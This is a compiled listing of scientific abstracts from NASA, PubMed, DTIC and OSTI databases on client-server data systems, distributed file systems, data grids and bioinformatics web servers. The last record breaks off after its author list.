We investigated a number of design and performance issues of interoperable database management systems (DBMS's). The major results of our investigation were obtained in the areas of client-server database architectures for heterogeneous DBMS's, incremental computation models, buffer management techniques, and query optimization. We finished a prototype of an advanced client-server workstation-based DBMS which allows access to multiple heterogeneous commercial DBMS's. Experiments and simulations were then run to compare its performance with the standard client-server architectures. The focus of this research was on adaptive optimization methods of heterogeneous database systems. Adaptive buffer management accounts for the random and object-oriented access methods for which no known characterization of the access patterns exists. Adaptive query optimization means that value distributions and selectives, which play the most significant role in query plan evaluation, are continuously refined to reflect the actual values as opposed to static ones that are computed off-line. Query feedback is a concept that was first introduced to the literature by our group. We employed query feedback for both adaptive buffer management and for computing value distributions and selectivities. For adaptive buffer management, we use the page faults of prior executions to achieve more 'informed' management decisions. For the estimation of the distributions of the selectivities, we use curve-fitting techniques, such as least squares and splines, for regressing on these values.

Incorporating Brokers within Collaboration Environments

NASA Astrophysics Data System (ADS)

Rajasekar, A.; Moore, R.; de Torcy, A.

2013-12-01

A collaboration environment, such as the integrated Rule Oriented Data System (iRODS - http://irods.diceresearch.org), provides interoperability mechanisms for accessing storage systems, authentication systems, messaging systems, information catalogs, networks, and policy engines from a wide variety of clients. The interoperability mechanisms function as brokers, translating actions requested by clients to the protocol required by a specific technology. The iRODS data grid is used to enable collaborative research within hydrology, seismology, earth science, climate, oceanography, plant biology, astronomy, physics, and genomics disciplines. Although each domain has unique resources, data formats, semantics, and protocols, the iRODS system provides a generic framework that is capable of managing collaborative research initiatives that span multiple disciplines. Each interoperability mechanism (broker) is linked to a name space that enables unified access across the heterogeneous systems. The collaboration environment provides not only support for brokers, but also support for virtualization of name spaces for users, files, collections, storage systems, metadata, and policies. The broker enables access to data or information in a remote system using the appropriate protocol, while the collaboration environment provides a uniform naming convention for accessing and manipulating each object. Within the NSF DataNet Federation Consortium project (http://www.datafed.org), three basic types of interoperability mechanisms have been identified and applied: 1) drivers for managing manipulation at the remote resource (such as data subsetting), 2) micro-services that execute the protocol required by the remote resource, and 3) policies for controlling the execution. For example, drivers have been written for manipulating NetCDF and HDF formatted files within THREDDS servers. Micro-services have been written that manage interactions with the CUAHSI data repository, the DataONE information catalog, and the GeoBrain broker. Policies have been written that manage transfer of messages between an iRODS message queue and the Advanced Message Queuing Protocol. Examples of these brokering mechanisms will be presented. The DFC collaboration environment serves as the intermediary between community resources and compute grids, enabling reproducible data-driven research. It is possible to create an analysis workflow that retrieves data subsets from a remote server, assemble the required input files, automate the execution of the workflow, automatically track the provenance of the workflow, and share the input files, workflow, and output files. A collaborator can re-execute a shared workflow, compare results, change input files, and re-execute an analysis.

The visualCMAT: A web-server to select and interpret correlated mutations/co-evolving residues in protein families.

PubMed

Suplatov, Dmitry; Sharapova, Yana; Timonina, Daria; Kopylov, Kirill; Švedas, Vytas

2018-04-01

The visualCMAT web-server was designed to assist experimental research in the fields of protein/enzyme biochemistry, protein engineering, and drug discovery by providing an intuitive and easy-to-use interface to the analysis of correlated mutations/co-evolving residues. Sequence and structural information describing homologous proteins are used to predict correlated substitutions by the Mutual information-based CMAT approach, classify them into spatially close co-evolving pairs, which either form a direct physical contact or interact with the same ligand (e.g. a substrate or a crystallographic water molecule), and long-range correlations, annotate and rank binding sites on the protein surface by the presence of statistically significant co-evolving positions. The results of the visualCMAT are organized for a convenient visual analysis and can be downloaded to a local computer as a content-rich all-in-one PyMol session file with multiple layers of annotation corresponding to bioinformatic, statistical and structural analyses of the predicted co-evolution, or further studied online using the built-in interactive analysis tools. The online interactivity is implemented in HTML5 and therefore neither plugins nor Java are required. The visualCMAT web-server is integrated with the Mustguseal web-server capable of constructing large structure-guided sequence alignments of protein families and superfamilies using all available information about their structures and sequences in public databases. The visualCMAT web-server can be used to understand the relationship between structure and function in proteins, implemented at selecting hotspots and compensatory mutations for rational design and directed evolution experiments to produce novel enzymes with improved properties, and employed at studying the mechanism of selective ligand's binding and allosteric communication between topologically independent sites in protein structures. The web-server is freely available at https://biokinet.belozersky.msu.ru/visualcmat and there are no login requirements.

The Jade File System. Ph.D. Thesis

NASA Technical Reports Server (NTRS)

Rao, Herman Chung-Hwa

1991-01-01

File systems have long been the most important and most widely used form of shared permanent storage. File systems in traditional time-sharing systems, such as Unix, support a coherent sharing model for multiple users. Distributed file systems implement this sharing model in local area networks. However, most distributed file systems fail to scale from local area networks to an internet. Four characteristics of scalability were recognized: size, wide area, autonomy, and heterogeneity. Owing to size and wide area, techniques such as broadcasting, central control, and central resources, which are widely adopted by local area network file systems, are not adequate for an internet file system. An internet file system must also support the notion of autonomy because an internet is made up by a collection of independent organizations. Finally, heterogeneity is the nature of an internet file system, not only because of its size, but also because of the autonomy of the organizations in an internet. The Jade File System, which provides a uniform way to name and access files in the internet environment, is presented. Jade is a logical system that integrates a heterogeneous collection of existing file systems, where heterogeneous means that the underlying file systems support different file access protocols. Because of autonomy, Jade is designed under the restriction that the underlying file systems may not be modified. In order to avoid the complexity of maintaining an internet-wide, global name space, Jade permits each user to define a private name space. In Jade's design, we pay careful attention to avoiding unnecessary network messages between clients and file servers in order to achieve acceptable performance. Jade's name space supports two novel features: (1) it allows multiple file systems to be mounted under one direction; and (2) it permits one logical name space to mount other logical name spaces. A prototype of Jade was implemented to examine and validate its design. The prototype consists of interfaces to the Unix File System, the Sun Network File System, and the File Transfer Protocol.

CANEapp: a user-friendly application for automated next generation transcriptomic data analysis.

PubMed

Velmeshev, Dmitry; Lally, Patrick; Magistri, Marco; Faghihi, Mohammad Ali

2016-01-13

Next generation sequencing (NGS) technologies are indispensable for molecular biology research, but data analysis represents the bottleneck in their application. Users need to be familiar with computer terminal commands, the Linux environment, and various software tools and scripts. Analysis workflows have to be optimized and experimentally validated to extract biologically meaningful data. Moreover, as larger datasets are being generated, their analysis requires use of high-performance servers. To address these needs, we developed CANEapp (application for Comprehensive automated Analysis of Next-generation sequencing Experiments), a unique suite that combines a Graphical User Interface (GUI) and an automated server-side analysis pipeline that is platform-independent, making it suitable for any server architecture. The GUI runs on a PC or Mac and seamlessly connects to the server to provide full GUI control of RNA-sequencing (RNA-seq) project analysis. The server-side analysis pipeline contains a framework that is implemented on a Linux server through completely automated installation of software components and reference files. Analysis with CANEapp is also fully automated and performs differential gene expression analysis and novel noncoding RNA discovery through alternative workflows (Cuffdiff and R packages edgeR and DESeq2). We compared CANEapp to other similar tools, and it significantly improves on previous developments. We experimentally validated CANEapp's performance by applying it to data derived from different experimental paradigms and confirming the results with quantitative real-time PCR (qRT-PCR). CANEapp adapts to any server architecture by effectively using available resources and thus handles large amounts of data efficiently. CANEapp performance has been experimentally validated on various biological datasets. CANEapp is available free of charge at http://psychiatry.med.miami.edu/research/laboratory-of-translational-rna-genomics/CANE-app . We believe that CANEapp will serve both biologists with no computational experience and bioinformaticians as a simple, timesaving but accurate and powerful tool to analyze large RNA-seq datasets and will provide foundations for future development of integrated and automated high-throughput genomics data analysis tools. Due to its inherently standardized pipeline and combination of automated analysis and platform-independence, CANEapp is an ideal for large-scale collaborative RNA-seq projects between different institutions and research groups.

CCSDS File Delivery Protocol (CFDP): Why it's Useful and How it Works

NASA Technical Reports Server (NTRS)

Ray, Tim

2003-01-01

Reliable delivery of data products is often required across space links. For example, a NASA mission will require reliable delivery of images produced by an on-board detector. Many missions have their own (unique) way of accomplishing this, requiring custom software. Many missions also require manual operations (e.g. the telemetry receiver software keeps track of what data is missing, and a person manually inputs the appropriate commands to request retransmissions). The Consultative Committee for Space Data Systems (CCSDS) developed the CCSDS File Delivery Protocol (CFDP) specifically for this situation. CFDP is an international standard communication protocol that provides reliable delivery of data products. It is designed for use across space links. It will work well if run over the widely used CCSDS Telemetry and Telecommand protocols. However, it can be run over any protocol, and will work well as long as the underlying protocol delivers a reasonable portion of the data. The CFDP receiver will autonomously determine what data is missing, and request retransmissions as needed. The CFDP sender will autonomously perform the requested transmissions. When the entire data product is delivered, the CFDP receiver will let the CFDP sender know that the transaction has completed successfully. The result is that custom software becomes standard, and manual operations become autonomous. This paper will consider various ways of achieving reliable file delivery, explain why CFDP is the optimal choice for use over space links, explain how the core protocol works, and give some guidance on how to best utilize CFDP within various mission scenarios. It will also touch on additional features of CFDP, as well as other uses for CFDP (e.g. the loading of on-board memory and tables).

Visualization of historical data for the ATLAS detector controls - DDV

NASA Astrophysics Data System (ADS)

Maciejewski, J.; Schlenker, S.

2017-10-01

The ATLAS experiment is one of four detectors located on the Large Hardon Collider (LHC) based at CERN. Its detector control system (DCS) stores the slow control data acquired within the back-end of distributed WinCC OA applications, which enables the data to be retrieved for future analysis, debugging and detector development in an Oracle relational database. The ATLAS DCS Data Viewer (DDV) is a client-server application providing access to the historical data outside of the experiment network. The server builds optimized SQL queries, retrieves the data from the database and serves it to the clients via HTTP connections. The server also implements protection methods to prevent malicious use of the database. The client is an AJAX-type web application based on the Vaadin (framework build around the Google Web Toolkit (GWT)) which gives users the possibility to access the data with ease. The DCS metadata can be selected using a column-tree navigation or a search engine supporting regular expressions. The data is visualized by a selection of output modules such as a java script value-over time plots or a lazy loading table widget. Additional plugins give the users the possibility to retrieve the data in ROOT format or as an ASCII file. Control system alarms can also be visualized in a dedicated table if necessary. Python mock-up scripts can be generated by the client, allowing the user to query the pythonic DDV server directly, such that the users can embed the scripts into more complex analysis programs. Users are also able to store searches and output configurations as XML on the server to share with others via URL or to embed in HTML.

Recommendations for a service framework to access astronomical archives

NASA Technical Reports Server (NTRS)

Travisano, J. J.; Pollizzi, J.

1992-01-01

There are a large number of astronomical archives and catalogs on-line for network access, with many different user interfaces and features. Some systems are moving towards distributed access, supplying users with client software for their home sites which connects to servers at the archive site. Many of the issues involved in defining a standard framework of services that archive/catalog suppliers can use to achieve a basic level of interoperability are described. Such a framework would simplify the development of client and server programs to access the wide variety of astronomical archive systems. The primary services that are supplied by current systems include: catalog browsing, dataset retrieval, name resolution, and data analysis. The following issues (and probably more) need to be considered in establishing a standard set of client/server interfaces and protocols: Archive Access - dataset retrieval, delivery, file formats, data browsing, analysis, etc.; Catalog Access - database management systems, query languages, data formats, synchronous/asynchronous mode of operation, etc.; Interoperability - transaction/message protocols, distributed processing mechanisms (DCE, ONC/SunRPC, etc), networking protocols, etc.; Security - user registration, authorization/authentication mechanisms, etc.; Service Directory - service registration, lookup, port/task mapping, parameters, etc.; Software - public vs proprietary, client/server software, standard interfaces to client/server functions, software distribution, operating system portability, data portability, etc. Several archive/catalog groups, notably the Astrophysics Data System (ADS), are already working in many of these areas. In the process of developing StarView, which is the user interface to the Space Telescope Data Archive and Distribution Service (ST-DADS), these issues and the work of others were analyzed. A framework of standard interfaces for accessing services on any archive system which would benefit archive user and supplier alike is proposed.

Secure UNIX socket-based controlling system for high-throughput protein crystallography experiments.

PubMed

Gaponov, Yurii; Igarashi, Noriyuki; Hiraki, Masahiko; Sasajima, Kumiko; Matsugaki, Naohiro; Suzuki, Mamoru; Kosuge, Takashi; Wakatsuki, Soichi

2004-01-01

A control system for high-throughput protein crystallography experiments has been developed based on a multilevel secure (SSL v2/v3) UNIX socket under the Linux operating system. Main features of protein crystallography experiments (purification, crystallization, loop preparation, data collecting, data processing) are dealt with by the software. All information necessary to perform protein crystallography experiments is stored (except raw X-ray data, that are stored in Network File Server) in a relational database (MySQL). The system consists of several servers and clients. TCP/IP secure UNIX sockets with four predefined behaviors [(a) listening to a request followed by a reply, (b) sending a request and waiting for a reply, (c) listening to a broadcast message, and (d) sending a broadcast message] support communications between all servers and clients allowing one to control experiments, view data, edit experimental conditions and perform data processing remotely. The usage of the interface software is well suited for developing well organized control software with a hierarchical structure of different software units (Gaponov et al., 1998), which will pass and receive different types of information. All communication is divided into two parts: low and top levels. Large and complicated control tasks are split into several smaller ones, which can be processed by control clients independently. For communicating with experimental equipment (beamline optical elements, robots, and specialized experimental equipment etc.), the STARS server, developed at the Photon Factory, is used (Kosuge et al., 2002). The STARS server allows any application with an open socket to be connected with any other clients that control experimental equipment. Majority of the source code is written in C/C++. GUI modules of the system were built mainly using Glade user interface builder for GTK+ and Gnome under Red Hat Linux 7.1 operating system.

Sharing lattice QCD data over a widely distributed file system

NASA Astrophysics Data System (ADS)

Amagasa, T.; Aoki, S.; Aoki, Y.; Aoyama, T.; Doi, T.; Fukumura, K.; Ishii, N.; Ishikawa, K.-I.; Jitsumoto, H.; Kamano, H.; Konno, Y.; Matsufuru, H.; Mikami, Y.; Miura, K.; Sato, M.; Takeda, S.; Tatebe, O.; Togawa, H.; Ukawa, A.; Ukita, N.; Watanabe, Y.; Yamazaki, T.; Yoshie, T.

2015-12-01

JLDG is a data-grid for the lattice QCD (LQCD) community in Japan. Several large research groups in Japan have been working on lattice QCD simulations using supercomputers distributed over distant sites. The JLDG provides such collaborations with an efficient method of data management and sharing. File servers installed on 9 sites are connected to the NII SINET VPN and are bound into a single file system with the GFarm. The file system looks the same from any sites, so that users can do analyses on a supercomputer on a site, using data generated and stored in the JLDG at a different site. We present a brief description of hardware and software of the JLDG, including a recently developed subsystem for cooperating with the HPCI shared storage, and report performance and statistics of the JLDG. As of April 2015, 15 research groups (61 users) store their daily research data of 4.7PB including replica and 68 million files in total. Number of publications for works which used the JLDG is 98. The large number of publications and recent rapid increase of disk usage convince us that the JLDG has grown up into a useful infrastructure for LQCD community in Japan.

The ChIP-Seq tools and web server: a resource for analyzing ChIP-seq and other types of genomic data.

PubMed

Ambrosini, Giovanna; Dreos, René; Kumar, Sunil; Bucher, Philipp

2016-11-18

ChIP-seq and related high-throughput chromatin profilig assays generate ever increasing volumes of highly valuable biological data. To make sense out of it, biologists need versatile, efficient and user-friendly tools for access, visualization and itegrative analysis of such data. Here we present the ChIP-Seq command line tools and web server, implementing basic algorithms for ChIP-seq data analysis starting with a read alignment file. The tools are optimized for memory-efficiency and speed thus allowing for processing of large data volumes on inexpensive hardware. The web interface provides access to a large database of public data. The ChIP-Seq tools have a modular and interoperable design in that the output from one application can serve as input to another one. Complex and innovative tasks can thus be achieved by running several tools in a cascade. The various ChIP-Seq command line tools and web services either complement or compare favorably to related bioinformatics resources in terms of computational efficiency, ease of access to public data and interoperability with other web-based tools. The ChIP-Seq server is accessible at http://ccg.vital-it.ch/chipseq/ .

YODA++: A proposal for a semi-automatic space mission control

NASA Astrophysics Data System (ADS)

Casolino, M.; de Pascale, M. P.; Nagni, M.; Picozza, P.

YODA++ is a proposal for a semi-automated data handling and analysis system for the PAMELA space experiment. The core of the routines have been developed to process a stream of raw data downlinked from the Resurs DK1 satellite (housing PAMELA) to the ground station in Moscow. Raw data consist of scientific data and are complemented by housekeeping information. Housekeeping information will be analyzed within a short time from download (1 h) in order to monitor the status of the experiment and to foreseen the mission acquisition planning. A prototype for the data visualization will run on an APACHE TOMCAT web application server, providing an off-line analysis tool using a browser and part of code for the system maintenance. Data retrieving development is in production phase, while a GUI interface for human friendly monitoring is on preliminary phase as well as a JavaServerPages/JavaServerFaces (JSP/JSF) web application facility. On a longer timescale (1 3 h from download) scientific data are analyzed. The data storage core will be a mix of CERNs ROOT files structure and MySQL as a relational database. YODA++ is currently being used in the integration and testing on ground of PAMELA data.

A WebGIS-based system for analyzing and visualizing air quality data for Shanghai Municipality

NASA Astrophysics Data System (ADS)

Wang, Manyi; Liu, Chaoshun; Gao, Wei

2014-10-01

An online visual analytical system based on Java Web and WebGIS for air quality data for Shanghai Municipality was designed and implemented to quantitatively analyze and qualitatively visualize air quality data. By analyzing the architecture of WebGIS and Java Web, we firstly designed the overall scheme for system architecture, then put forward the software and hardware environment and also determined the main function modules for the system. The visual system was ultimately established with the DIV + CSS layout method combined with JSP, JavaScript, and some other computer programming languages based on the Java programming environment. Moreover, Struts, Spring, and Hibernate frameworks (SSH) were integrated in the system for the purpose of easy maintenance and expansion. To provide mapping service and spatial analysis functions, we selected ArcGIS for Server as the GIS server. We also used Oracle database and ESRI file geodatabase to store spatial data and non-spatial data in order to ensure the data security. In addition, the response data from the Web server are resampled to implement rapid visualization through the browser. The experimental successes indicate that this system can quickly respond to user's requests, and efficiently return the accurate processing results.

The Monitoring, Detection, Isolation and Assessment of Information Warfare Attacks Through Multi-Level, Multi-Scale System Modeling and Model Based Technology

DTIC Science & Technology

2004-01-01

login identity to the one under which the system call is executed, the parameters of the system call execution - file names including full path...Anomaly detection COAST-EIMDT Distributed on target hosts EMERALD Distributed on target hosts and security servers Signature recognition Anomaly...uses a centralized architecture, and employs an anomaly detection technique for intrusion detection. The EMERALD project [80] proposes a

2018 NDIA 33rd Annual National Test and Evaluation Conference

DTIC Science & Technology

2018-05-17

Breach IOC Delayed RDT&E Overrun MS B IOC First Flight CDR Wind Tunnel Campaign Flight Test Campaign $ Peak Burn Rate Occurs Around FF Wind Tunnel...Connectivity Team – Tier 2 network support, network characterization and analysis, walk-the- wire trouble resolution, assistance with new site Connection...File Transfer Protocol (SFTP) Server. The Test and Training Enabling Architecture (TENA) is used for over the wire simulation protocol via the DISGW

Public census data on CD-ROM at Lawrence Berkeley Laboratory

DOE Office of Scientific and Technical Information (OSTI.GOV)

Merrill, D.W.

The Comprehensive Epidemiologic Data Resource (CEDR) and Populations at Risk to Environmental Pollution (PAREP) projects, of the Information and Computing Sciences Division (ICSD) at Lawrence Berkeley Laboratory (LBL), are using public socio-economic and geographic data files which are available to CEDR and PAREP collaborators via LBL`s computing network. At this time 70 CD-ROM diskettes (approximately 36 gigabytes) are on line via the Unix file server cedrcd. lbl. gov. Most of the files are from the US Bureau of the Census, and most pertain to the 1990 Census of Population and Housing. All the CD-ROM diskettes contain documentation in the formmore » of ASCII text files. Printed documentation for most files is available for inspection at University of California Data and Technical Assistance (UC DATA), or the UC Documents Library. Many of the CD-ROM diskettes distributed by the Census Bureau contain software for PC compatible computers, for easily accessing the data. Shared access to the data is maintained through a collaboration among the CEDR and PAREP projects at LBL, and UC DATA, and the UC Documents Library. Via the Sun Network File System (NFS), these data can be exported to Internet computers for direct access by the user`s application program(s).« less

Public census data on CD-ROM at Lawrence Berkeley Laboratory

DOE Office of Scientific and Technical Information (OSTI.GOV)

Merrill, D.W.

The Comprehensive Epidemiologic Data Resource (CEDR) and Populations at Risk to Environmental Pollution (PAREP) projects, of the Information and Computing Sciences Division (ICSD) at Lawrence Berkeley Laboratory (LBL), are using public socio-economic and geographic data files which are available to CEDR and PAREP collaborators via LBL's computing network. At this time 70 CD-ROM diskettes (approximately 36 gigabytes) are on line via the Unix file server cedrcd. lbl. gov. Most of the files are from the US Bureau of the Census, and most pertain to the 1990 Census of Population and Housing. All the CD-ROM diskettes contain documentation in the formmore » of ASCII text files. Printed documentation for most files is available for inspection at University of California Data and Technical Assistance (UC DATA), or the UC Documents Library. Many of the CD-ROM diskettes distributed by the Census Bureau contain software for PC compatible computers, for easily accessing the data. Shared access to the data is maintained through a collaboration among the CEDR and PAREP projects at LBL, and UC DATA, and the UC Documents Library. Via the Sun Network File System (NFS), these data can be exported to Internet computers for direct access by the user's application program(s).« less

Dynamic Server-Based KML Code Generator Method for Level-of-Detail Traversal of Geospatial Data

NASA Technical Reports Server (NTRS)

Baxes, Gregory; Mixon, Brian; Linger, TIm

2013-01-01

Web-based geospatial client applications such as Google Earth and NASA World Wind must listen to data requests, access appropriate stored data, and compile a data response to the requesting client application. This process occurs repeatedly to support multiple client requests and application instances. Newer Web-based geospatial clients also provide user-interactive functionality that is dependent on fast and efficient server responses. With massively large datasets, server-client interaction can become severely impeded because the server must determine the best way to assemble data to meet the client applications request. In client applications such as Google Earth, the user interactively wanders through the data using visually guided panning and zooming actions. With these actions, the client application is continually issuing data requests to the server without knowledge of the server s data structure or extraction/assembly paradigm. A method for efficiently controlling the networked access of a Web-based geospatial browser to server-based datasets in particular, massively sized datasets has been developed. The method specifically uses the Keyhole Markup Language (KML), an Open Geospatial Consortium (OGS) standard used by Google Earth and other KML-compliant geospatial client applications. The innovation is based on establishing a dynamic cascading KML strategy that is initiated by a KML launch file provided by a data server host to a Google Earth or similar KMLcompliant geospatial client application user. Upon execution, the launch KML code issues a request for image data covering an initial geographic region. The server responds with the requested data along with subsequent dynamically generated KML code that directs the client application to make follow-on requests for higher level of detail (LOD) imagery to replace the initial imagery as the user navigates into the dataset. The approach provides an efficient data traversal path and mechanism that can be flexibly established for any dataset regardless of size or other characteristics. The method yields significant improvements in userinteractive geospatial client and data server interaction and associated network bandwidth requirements. The innovation uses a C- or PHP-code-like grammar that provides a high degree of processing flexibility. A set of language lexer and parser elements is provided that offers a complete language grammar for writing and executing language directives. A script is wrapped and passed to the geospatial data server by a client application as a component of a standard KML-compliant statement. The approach provides an efficient means for a geospatial client application to request server preprocessing of data prior to client delivery. Data is structured in a quadtree format. As the user zooms into the dataset, geographic regions are subdivided into four child regions. Conversely, as the user zooms out, four child regions collapse into a single, lower-LOD region. The approach provides an efficient data traversal path and mechanism that can be flexibly established for any dataset regardless of size or other characteristics.

Automatic meta-data collection of STP observation data

NASA Astrophysics Data System (ADS)

Ishikura, S.; Kimura, E.; Murata, K.; Kubo, T.; Shinohara, I.

2006-12-01

For the geo-science and the STP (Solar-Terrestrial Physics) studies, various observations have been done by satellites and ground-based observatories up to now. These data are saved and managed at many organizations, but no common procedure and rule to provide and/or share these data files. Researchers have felt difficulty in searching and analyzing such different types of data distributed over the Internet. To support such cross-over analyses of observation data, we have developed the STARS (Solar-Terrestrial data Analysis and Reference System). The STARS consists of client application (STARS-app), the meta-database (STARS- DB), the portal Web service (STARS-WS) and the download agent Web service (STARS DLAgent-WS). The STARS-DB includes directory information, access permission, protocol information to retrieve data files, hierarchy information of mission/team/data and user information. Users of the STARS are able to download observation data files without knowing locations of the files by using the STARS-DB. We have implemented the Portal-WS to retrieve meta-data from the meta-database. One reason we use the Web service is to overcome a variety of firewall restrictions which is getting stricter in recent years. Now it is difficult for the STARS client application to access to the STARS-DB by sending SQL query to obtain meta- data from the STARS-DB. Using the Web service, we succeeded in placing the STARS-DB behind the Portal- WS and prevent from exposing it on the Internet. The STARS accesses to the Portal-WS by sending the SOAP (Simple Object Access Protocol) request over HTTP. Meta-data is received as a SOAP Response. The STARS DLAgent-WS provides clients with data files downloaded from data sites. The data files are provided with a variety of protocols (e.g., FTP, HTTP, FTPS and SFTP). These protocols are individually selected at each site. The clients send a SOAP request with download request messages and receive observation data files as a SOAP Response with DIME-Attachment. By introducing the DLAgent-WS, we overcame the problem that the data management policies of each data site are independent. Another important issue to be overcome is how to collect the meta-data of observation data files. So far, STARS-DB managers have added new records to the meta-database and updated them manually. We have had a lot of troubles to maintain the meta-database because observation data are generated every day and the quantity of data files increases explosively. For that purpose, we have attempted to automate collection of the meta-data. In this research, we adopted the RSS 1.0 (RDF Site Summary) as a format to exchange meta-data in the STP fields. The RSS is an RDF vocabulary that provides a multipurpose extensible meta-data description and is suitable for syndication of meta-data. Most of the data in the present study are described in the CDF (Common Data Format), which is a self- describing data format. We have converted meta-information extracted from the CDF data files into RSS files. The program to generate the RSS files is executed on data site server once a day and the RSS files provide information of new data files. The RSS files are collected by RSS collection server once a day and the meta- data are stored in the STARS-DB.

Data Access Tools And Services At The Goddard Distributed Active Archive Center (GDAAC)

NASA Technical Reports Server (NTRS)

Pham, Long; Eng, Eunice; Sweatman, Paul

2003-01-01

As one of the largest providers of Earth Science data from the Earth Observing System, GDAAC provides the latest data from the Moderate Resolution Imaging Spectroradiometer (MODIS), Atmospheric Infrared Sounder (AIRS), Solar Radiation and Climate Experiment (SORCE) data products via GDAAC's data pool (50TB of disk cache). In order to make this huge volume of data more accessible to the public and science communities, the GDAAC offers multiple data access tools and services: Open Source Project for Network Data Access Protocol (OPeNDAP), Grid Analysis and Display System (GrADS/DODS) (GDS), Live Access Server (LAS), OpenGlS Web Map Server (WMS) and Near Archive Data Mining (NADM). The objective is to assist users in retrieving electronically a smaller, usable portion of data for further analysis. The OPeNDAP server, formerly known as the Distributed Oceanographic Data System (DODS), allows the user to retrieve data without worrying about the data format. OPeNDAP is capable of server-side subsetting of HDF, HDF-EOS, netCDF, JGOFS, ASCII, DSP, FITS and binary data formats. The GrADS/DODS server is capable of serving the same data formats as OPeNDAP. GDS has an additional feature of server-side analysis. Users can analyze the data on the server there by decreasing the computational load on their client's system. The LAS is a flexible server that allows user to graphically visualize data on the fly, to request different file formats and to compare variables from distributed locations. Users of LAS have options to use other available graphics viewers such as IDL, Matlab or GrADS. WMS is based on the OPeNDAP for serving geospatial information. WMS supports OpenGlS protocol to provide data in GIs-friendly formats for analysis and visualization. NADM is another access to the GDAAC's data pool. NADM gives users the capability to use a browser to upload their C, FORTRAN or IDL algorithms, test the algorithms, and mine data in the data pool. With NADM, the GDAAC provides an environment physically close to the data source. NADM will benefit users with mining or offer data reduction algorithms by reducing large volumes of data before transmission over the network to the user.

Mobile Care (Moca) for Remote Diagnosis and Screening

PubMed Central

Celi, Leo Anthony; Sarmenta, Luis; Rotberg, Jhonathan; Marcelo, Alvin; Clifford, Gari

2010-01-01

Moca is a cell phone-facilitated clinical information system to improve diagnostic, screening and therapeutic capabilities in remote resource-poor settings. The software allows transmission of any medical file, whether a photo, x-ray, audio or video file, through a cell phone to (1) a central server for archiving and incorporation into an electronic medical record (to facilitate longitudinal care, quality control, and data mining), and (2) a remote specialist for real-time decision support (to leverage expertise). The open source software is designed as an end-to-end clinical information system that seamlessly connects health care workers to medical professionals. It is integrated with OpenMRS, an existing open source medical records system commonly used in developing countries. PMID:21822397

DIstributed VIRtual System (DIVIRS) Project

NASA Technical Reports Server (NTRS)

Schorr, Herbert; Neuman, B. Clifford; Gaines, Stockton R.; Mizell, David

1996-01-01

The development of Prospero moved from the University of Washington to ISI and several new versions of the software were released from ISI during the contract period. Changes in the first release from ISI included bug fixes and extensions to support the needs of specific users. Among these changes was a new option to directory queries that allows attributes to be returned for all files in a directory together with the directory listing. This change greatly improves the performance of their server and reduces the number of packets sent across their trans-pacific connection to the rest of the internet. Several new access method were added to the Prospero file method. The Prospero Data Access Protocol was designed, to support secure retrieval of data from systems running Prospero.

Considering User's Access Pattern in Multimedia File Systems

NASA Astrophysics Data System (ADS)

Cho, KyoungWoon; Ryu, YeonSeung; Won, Youjip; Koh, Kern

2002-12-01

Legacy buffer cache management schemes for multimedia server are grounded at the assumption that the application sequentially accesses the multimedia file. However, user access pattern may not be sequential in some circumstances, for example, in distance learning application, where the user may exploit the VCR-like function(rewind and play) of the system and accesses the particular segments of video repeatedly in the middle of sequential playback. Such a looping reference can cause a significant performance degradation of interval-based caching algorithms. And thus an appropriate buffer cache management scheme is required in order to deliver desirable performance even under the workload that exhibits looping reference behavior. We propose Adaptive Buffer cache Management(ABM) scheme which intelligently adapts to the file access characteristics. For each opened file, ABM applies either the LRU replacement or the interval-based caching depending on the Looping Reference Indicator, which indicates that how strong temporally localized access pattern is. According to our experiment, ABM exhibits better buffer cache miss ratio than interval-based caching or LRU, especially when the workload exhibits not only sequential but also looping reference property.

Centralized Duplicate Removal Video Storage System with Privacy Preservation in IoT.

PubMed

Yan, Hongyang; Li, Xuan; Wang, Yu; Jia, Chunfu

2018-06-04

In recent years, the Internet of Things (IoT) has found wide application and attracted much attention. Since most of the end-terminals in IoT have limited capabilities for storage and computing, it has become a trend to outsource the data from local to cloud computing. To further reduce the communication bandwidth and storage space, data deduplication has been widely adopted to eliminate the redundant data. However, since data collected in IoT are sensitive and closely related to users' personal information, the privacy protection of users' information becomes a challenge. As the channels, like the wireless channels between the terminals and the cloud servers in IoT, are public and the cloud servers are not fully trusted, data have to be encrypted before being uploaded to the cloud. However, encryption makes the performance of deduplication by the cloud server difficult because the ciphertext will be different even if the underlying plaintext is identical. In this paper, we build a centralized privacy-preserving duplicate removal storage system, which supports both file-level and block-level deduplication. In order to avoid the leakage of statistical information of data, Intel Software Guard Extensions (SGX) technology is utilized to protect the deduplication process on the cloud server. The results of the experimental analysis demonstrate that the new scheme can significantly improve the deduplication efficiency and enhance the security. It is envisioned that the duplicated removal system with privacy preservation will be of great use in the centralized storage environment of IoT.

High-speed network for delivery of education-on-demand

NASA Astrophysics Data System (ADS)

Cordero, Carlos; Harris, Dale; Hsieh, Jeff

1996-03-01

A project to investigate the feasibility of delivering on-demand distance education to the desktop, known as the Asynchronous Distance Education ProjecT (ADEPT), is presently being carried out. A set of Stanford engineering classes is digitized on PC, Macintosh, and UNIX platforms, and is made available on servers. Students on campus and in industry may then access class material on these servers via local and metropolitan area networks. Students can download class video and audio, encoded in QuickTimeTM and Show-Me TVTM formats, via file-transfer protocol or the World Wide Web. Alternatively, they may stream a vector-quantized version of the class directly from a server for real-time playback. Students may also download PostscriptTM and Adobe AcrobatTM versions of class notes. Off-campus students may connect to ADEPT servers via the internet, the Silicon Valley Test Track (SVTT), or the Bay-Area Gigabit Network (BAGNet). The SVTT and BAGNet are high-speed metropolitan-area networks, spanning the Bay Area, which provide IP access over asynchronous transfer mode (ATM). Student interaction is encouraged through news groups, electronic mailing lists, and an ADEPT home page. Issues related to having multiple platforms and interoperability are examined in this paper. The ramifications of providing a reliable service are discussed. System performance and the parameters that affect it are then described. Finally, future work on expanding ATM access, real-time delivery of classes, and enhanced student interaction is described.

Validating metal binding sites in macromolecule structures using the CheckMyMetal web server

PubMed Central

Zheng, Heping; Chordia, Mahendra D.; Cooper, David R.; Chruszcz, Maksymilian; Müller, Peter; Sheldrick, George M.

2015-01-01

